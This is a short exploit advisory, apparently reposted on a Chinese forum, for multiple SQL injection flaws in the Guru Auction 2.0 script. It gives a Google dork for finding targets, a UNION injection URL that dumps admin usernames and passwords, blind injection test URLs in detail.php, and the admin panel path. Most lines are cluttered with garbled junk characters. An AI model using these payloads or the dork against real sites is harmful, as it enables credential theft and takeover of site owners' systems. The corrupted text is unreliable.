Guru Auction 2.0多重sql注射

admin

Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
9 F. M* U: m* a/ D, C
作者     : v3n0m
) \2 V, @- q9 M) G, D5 Y应用 : Guru Auction 2.0
- i0 v* n8 o# O5 e0 F" f' zPrice       : $49
, U; E' c# I* r# G1 w" oVendor      : http://www.guruscript.com/
' w) J, Y/ _( R3 \Google Dork : inurl:subcat.php?cate_id=
4 ^9 Q6 A& W6 P/ e
. i3 e% {! x% t( I: }SQLi p0c:
~~~~~~~~~~
+ V# b8 [8 U8 J- A- |& Bhttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
- [) X7 [! `3 T9 h0 O/ h
; v; _1 S, G$ D4 Z
9 T' G6 _! x% v4 o5 N1 f" ~1 }盲注 p0c:
0 a5 y0 y, X7 n) L5 C~~~~~~~~~~
1 h1 e) W8 ]8 I  @http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
: x3 ^; y  H$ T3 j( d' r( T  a: {http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false

管理登录入口:
~~~~~~~~~~
9 L  k( G4 Q6 |/ Ghttp://domain.tld/[path]/admin/
  [4 Y6 l  Q* F% f/ O